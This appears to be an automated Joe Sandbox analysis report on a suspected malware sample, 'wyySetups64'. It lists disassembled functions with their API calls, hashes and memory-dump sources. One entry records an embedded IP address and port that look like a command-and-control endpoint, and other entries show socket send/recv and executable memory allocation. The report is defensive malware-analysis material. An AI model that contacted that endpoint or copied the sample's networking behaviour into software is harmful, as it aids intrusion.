Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: eeaf42913bc0361ad0ff03f47fde89b3ee150f09ffa530784b02bea49ed491fa
Instruction ID: 204b7b26cbd746a4e0927def32958b08ff523a86b51ca62824c25487ef2bf225
Opcode Fuzzy Hash: eeaf42913bc0361ad0ff03f47fde89b3ee150f09ffa530784b02bea49ed491fa
Instruction Fuzzy Hash: 73F08272204704ABD620ABA9DCC4E46F3A8AF85335B204709F221872E1CEB0E8018BA4

Function 03376690 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0337669B
CoCreateInstance.OLE32(033946FC,00000000,00000001,0339471C,?,?,?,?,?,?,?,?,?,?,0337588A), ref: 033766B2
SysFreeString.OLEAUT32(?), ref: 0337674C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,0337588A), ref: 0337677D

Strings

FriendlyName, xrefs: 0337673B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateFreeInitializeInstanceStringUninitialize
String ID: FriendlyName
API String ID: 841178590-3623505368
Opcode ID: 4c82ff938879c994aefc5f230fb8cd5c7d45b488763c1cb8060677a2225bddad
Instruction ID: 4739705154b5d737cf07e3d7ad0976ffba3a7f174db508345e23ce4875d4a688
Opcode Fuzzy Hash: 4c82ff938879c994aefc5f230fb8cd5c7d45b488763c1cb8060677a2225bddad
Instruction Fuzzy Hash: DE31577560060AAFDB10DB99CCD1EAEB7BDEF88700F148589F514EB250DA71E942CB60

Function 0337F707 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0337F721

Part of subcall function 0337F673: __FF_MSGBANNER.LIBCMT ref: 0337F68C
Part of subcall function 0337F673: __NMSG_WRITE.LIBCMT ref: 0337F693
Part of subcall function 0337F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F6B8

std::exception::exception.LIBCMT ref: 0337F756
std::exception::exception.LIBCMT ref: 0337F770
__CxxThrowException@8.LIBCMT ref: 0337F781

Strings

bad allocation, xrefs: 0337F74F

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: 1f4cef061555a91cd5546fb69f66c9b3b4fffbe13c961bf5469ea2f6d0f127fa
Instruction ID: e5fc3caa25cb3dab6db70c8951e20374a65615e6da84de85dd74b72bfcf2845d
Opcode Fuzzy Hash: 1f4cef061555a91cd5546fb69f66c9b3b4fffbe13c961bf5469ea2f6d0f127fa
Instruction Fuzzy Hash: BDF02879D00309EFEF20FF54DCE5A9E7BECBB40254F14011AE414EA191DB75CA058B90

Function 00BD2D10 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00BD2D3C
CancelIo.KERNEL32(?), ref: 00BD2D46
InterlockedExchange.KERNEL32(00000000,00000000), ref: 00BD2D4F
closesocket.WS2_32(?), ref: 00BD2D59
SetEvent.KERNEL32(00000001), ref: 00BD2D63

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 5239f155688ac95166355b8d3b11e07adf28dfb8aa03b20f2864228f32d94bca
Instruction ID: 715b85f5663435fa2e9f6cce960bb5b90375052262d0278f19394a8094c54773
Opcode Fuzzy Hash: 5239f155688ac95166355b8d3b11e07adf28dfb8aa03b20f2864228f32d94bca
Instruction Fuzzy Hash: 11F04F76100B00ABD330DF54DC89F5A77B8FB49B15F104A5DF6829B790CBB0B9048BA0

Function 00BD6F17 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00BD6F31

Part of subcall function 00BD6E83: __FF_MSGBANNER.LIBCMT ref: 00BD6E9C
Part of subcall function 00BD6E83: __NMSG_WRITE.LIBCMT ref: 00BD6EA3
Part of subcall function 00BD6E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F), ref: 00BD6EC8

std::exception::exception.LIBCMT ref: 00BD6F66
std::exception::exception.LIBCMT ref: 00BD6F80
__CxxThrowException@8.LIBCMT ref: 00BD6F91

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: b8b28fea3ade988e686bbaf7fa2e2b8753e39d83876af7b89857c661073e4801
Instruction ID: cc721ea783678068fe2451877ca150b860898cb3f678b5ac424622dd9019963b
Opcode Fuzzy Hash: b8b28fea3ade988e686bbaf7fa2e2b8753e39d83876af7b89857c661073e4801
Instruction Fuzzy Hash: 6BF0F431500649ABDB04EBA5EC42A9DBBEA9B44714F1401EAF401DA291FFB1AA408745

Function 03373160 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0337316B
InterlockedExchange.KERNEL32(?,00000001), ref: 03373183
GetCurrentThreadId.KERNEL32 ref: 0337322F

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: c70cf53fc5ad0eab98e3e898b86121ec3b9e673569fb2baef05f45dd39b9158f
Instruction ID: bc5cef6a5e023a8292a59d1ccf9533e58992da6911f4b667935e0936ae3946a8
Opcode Fuzzy Hash: c70cf53fc5ad0eab98e3e898b86121ec3b9e673569fb2baef05f45dd39b9158f
Instruction Fuzzy Hash: E7318979600606EFC728EF69C8C4A6AB3E8FF44724B10C56DE81ACB615D739F841DB90

Function 00BD11B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BD11E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00BD1226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00BD1255

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: a2a20f6508b6028393b386bb661ab5ec3e8dfefa096cf8040c0c949bb51401e5
Instruction ID: 4091cfa49f6b2af49ac5fb2883ea242c9fdf6614d52e4191165f21fa51405935
Opcode Fuzzy Hash: a2a20f6508b6028393b386bb661ab5ec3e8dfefa096cf8040c0c949bb51401e5
Instruction Fuzzy Hash: 0221D730A00705AFDB149FADEC85B6EF7F5EF40705F0089AEE949E3740EA71A8008754

Function 033711B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 033711E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 03371226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03371255

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 59991d8be826ed6ec2dbc423e219cd080bb43f21161c7f24ce726bb4b73c6383
Instruction ID: 092d822cc3d07992880c801457c24776d21c9554d1906918a5f14730fb542678
Opcode Fuzzy Hash: 59991d8be826ed6ec2dbc423e219cd080bb43f21161c7f24ce726bb4b73c6383
Instruction Fuzzy Hash: B121A171E00709AFDB20DFAED885B6FFBF8EF44705F0085ADE859E6640E635A8508740

Function 00BD1100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BD112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00BD115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00BD1192

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 79ee2336c6828d91deda865a94637bcf5566ef17ad546e919a47159159bfe56a
Instruction ID: abb626a9eb8073e2d67310bf245daa847c2d2b275417ce4af5a452705529974e
Opcode Fuzzy Hash: 79ee2336c6828d91deda865a94637bcf5566ef17ad546e919a47159159bfe56a
Instruction Fuzzy Hash: 51118470A40705AFDB109FADDC86B6EFBF4EF04705F0084AAEA59E7240EA709910C754

Function 03371100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0337112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0337115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03371192

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 74bb3291d6698b6050cf8a8d5e1739fc6eaaaac1e0c9ae51adb581d808654194
Instruction ID: 95bc239c93b7df083623349a9703ec178ec0bd39db148e232d3501e28c9a0a1c
Opcode Fuzzy Hash: 74bb3291d6698b6050cf8a8d5e1739fc6eaaaac1e0c9ae51adb581d808654194
Instruction Fuzzy Hash: 6E11D371E00708AFEB20DFA9DCC6B6EFBF8FF04705F0084A9E959E6640E635A8108710

Function 03379DE0 Relevance: 4.5, APIs: 3, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 03379E04
GdipDisposeImage.GDIPLUS(?), ref: 03379E18
GdipDisposeImage.GDIPLUS(?), ref: 03379E3B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Gdip$DisposeImage$BitmapCreateFromStream
String ID:
API String ID: 800915452-0
Opcode ID: df5748b14223d6f53a481fdde022479a82e4d1bf7b16493d324c94b91e31bbd3
Instruction ID: e0510abdbc46d7e2da3bbf6b0c3fd7d28461e5d3976ee7fdd0033f2daf3db09b
Opcode Fuzzy Hash: df5748b14223d6f53a481fdde022479a82e4d1bf7b16493d324c94b91e31bbd3
Instruction Fuzzy Hash: 30F08175D1021DE78B20EF98D8848AFF7B8AB49711B00465AEC05AB340D7354A05CBD0

Function 03379AC0 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0339FB64), ref: 03379ADC
GdiplusStartup.GDIPLUS(0339FB60,?,?), ref: 03379B15
LeaveCriticalSection.KERNEL32(0339FB64), ref: 03379B26

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterGdiplusLeaveStartup
String ID:
API String ID: 389129658-0
Opcode ID: 2265cd89a7d926c780034d27c39e3d8fb2a3a92d7506f39ada9627221e4cc878
Instruction ID: fc6f73069775432ef44f68760bb497aecc3753d8c2e6a576f981ac31db8ac6be
Opcode Fuzzy Hash: 2265cd89a7d926c780034d27c39e3d8fb2a3a92d7506f39ada9627221e4cc878
Instruction Fuzzy Hash: A1F0497194120DEFEF10EFA1E8EA7AAB7ACE704316F50029AD90496245D7B60148CAA1

Function 00BD3200 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00BD3200

Strings

19091, xrefs: 00BF0254
118.107.44.219, xrefs: 00BF026C

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Sleep
String ID: 118.107.44.219$19091
API String ID: 3472027048-838246116
Opcode ID: 7b9da5158bea4e3c36ffa86015f0e3b49a8de531e6412074f48f5d3ac501d09f
Instruction ID: 5e3cc0f1b6bdf1f5622f7fdad1222982a95450157dfb7c9536ee1e515acafb2a
Opcode Fuzzy Hash: 7b9da5158bea4e3c36ffa86015f0e3b49a8de531e6412074f48f5d3ac501d09f
Instruction Fuzzy Hash: D4D022B06645A28B8A1496019CE5C37F3F4FA8031532401DAF887873E0FBB06C08AAA1

Function 00BD7156 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00BD715B

Part of subcall function 00BD9896: GetLastError.KERNEL32(00000001,00000000,00BD7112,00BD6F0C,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F), ref: 00BD989A
Part of subcall function 00BD9896: ___set_flsgetvalue.LIBCMT ref: 00BD98A8
Part of subcall function 00BD9896: __calloc_crt.LIBCMT ref: 00BD98BC
Part of subcall function 00BD9896: DecodePointer.KERNEL32(00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000,?,00BD99BA), ref: 00BD98D6
Part of subcall function 00BD9896: GetCurrentThreadId.KERNEL32 ref: 00BD98EC
Part of subcall function 00BD9896: SetLastError.KERNEL32(00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000,?,00BD99BA), ref: 00BD9904

__freeptd.LIBCMT ref: 00BD7165

Part of subcall function 00BD9A58: TlsGetValue.KERNEL32(?,?,00BD7711,00000000,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9A79
Part of subcall function 00BD9A58: TlsGetValue.KERNEL32(?,?,00BD7711,00000000,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9A8B
Part of subcall function 00BD9A58: DecodePointer.KERNEL32(00000000,?,00BD7711,00000000,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9AA1
Part of subcall function 00BD9A58: __freefls@4.LIBCMT ref: 00BD9AAC
Part of subcall function 00BD9A58: TlsSetValue.KERNEL32(00000025,00000000,?,00BD7711,00000000,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9ABE

ExitThread.KERNEL32 ref: 00BD716E

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: f38e2fd3af5b98b51f4f49d36d2024edab8653c526fddae62a6e03404f1837e6
Instruction ID: 4b61ba8e797e92850a852b5a54a959255a432c6f95f71706ec06e38afc466901
Opcode Fuzzy Hash: f38e2fd3af5b98b51f4f49d36d2024edab8653c526fddae62a6e03404f1837e6
Instruction Fuzzy Hash: 4FC02B3100064C3BCB203732CC0E94FBECDCD80340B900052F9089A311FE30DC009551

Function 031F01CB Relevance: 3.3, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 031F022B

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: f7c94cfb2ca029ef69224a4c54551214c984368380daeb1f033b4fd9b0e641e0
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: C8A14B75A00606EFDB14CFA9C880AAEF7B5FF4C304B1881A9E615DB752D770EA51CB90

Function 00BD3350 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 00BD3403
_memmove.LIBCMT ref: 00BD3495

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 66e088d562f839f52fb374789110886f1d5ff61965be60db70e0ffaf254b8431
Instruction ID: cda2da28d869fea7f9c9a8fbb7a27161d2611c155cf13a7c7cd2cee424303c22
Opcode Fuzzy Hash: 66e088d562f839f52fb374789110886f1d5ff61965be60db70e0ffaf254b8431
Instruction Fuzzy Hash: FD51FF72700202AFC710CF69C9C0A6AF7E5FF4471471486AAE90ADB702EB35EE41CB91

Function 03373360 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 03373413
_memmove.LIBCMT ref: 033734A5

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: b7c5ad6f09e1ea0dd3a6d2772b2ddfff78a97c783785be487dbd70d71f466809
Instruction ID: 9730f2ef9392c6e1a1298d99fe04535f9d7025ac22d0c4744046524108e6600b
Opcode Fuzzy Hash: b7c5ad6f09e1ea0dd3a6d2772b2ddfff78a97c783785be487dbd70d71f466809
Instruction Fuzzy Hash: 3D51D57AB006059FD735CF69C8C0A6AB7A9FF44220718866CE919CB700D739F881CBD0

Function 00BD2FB0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 00BD3023
recv.WS2_32(?,?,00040000,00000000), ref: 00BD3044

Part of subcall function 00BD710D: __getptd_noexit.LIBCMT ref: 00BD710D

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: 5ace78183bb9c22f1d2806638a41c15f445a12c54b5f2e6a109ce748627fb692
Instruction ID: d3138144d4b6daa43d9b96c8b91c0ad5e0d1e96ce27f000bd5931f1fd843fa24
Opcode Fuzzy Hash: 5ace78183bb9c22f1d2806638a41c15f445a12c54b5f2e6a109ce748627fb692
Instruction Fuzzy Hash: 64218871540208DBDB20DF64DC85B9AB7F4EF45710F1401E6E505AB396FB719E84CBA2

Function 03372FD0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 03373043
recv.WS2_32(?,?,00040000,00000000), ref: 03373064

Part of subcall function 0337F91B: __getptd_noexit.LIBCMT ref: 0337F91B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: 5ddd5ef2e5759e72729aabf637b57c71b4c55f5f25b7b03391aa54c7aa776b07
Instruction ID: 6825052d5144beea92e1c1b1fbac368a9f327f3b6d8a9f44f3f55597ea5ee510
Opcode Fuzzy Hash: 5ddd5ef2e5759e72729aabf637b57c71b4c55f5f25b7b03391aa54c7aa776b07
Instruction Fuzzy Hash: F7218079A00308DBDB30EF69DCC4B9A77A8EF05320F1805A5E5459F290D7BDA984DBE1

Function 03373260 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 03373291
send.WS2_32(?,?,?,00000000), ref: 033732CE

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 0ad4d2b47b55f78f805769ad2d3e365a4623bf29c9c910f2c0dcdd7fd0b2aa48
Instruction ID: b18eb905f8151db3b1b1c0bb31e42f25517360d39449af93e39b27f86b17d029
Opcode Fuzzy Hash: 0ad4d2b47b55f78f805769ad2d3e365a4623bf29c9c910f2c0dcdd7fd0b2aa48
Instruction Fuzzy Hash: C511E57AB05304B7C770CA6ADCC9B5AB79DFB45374F144025E908D7280D2799941A694

Function 00BD30C0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 00BD30EA
timeGetTime.WINMM ref: 00BD3104

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
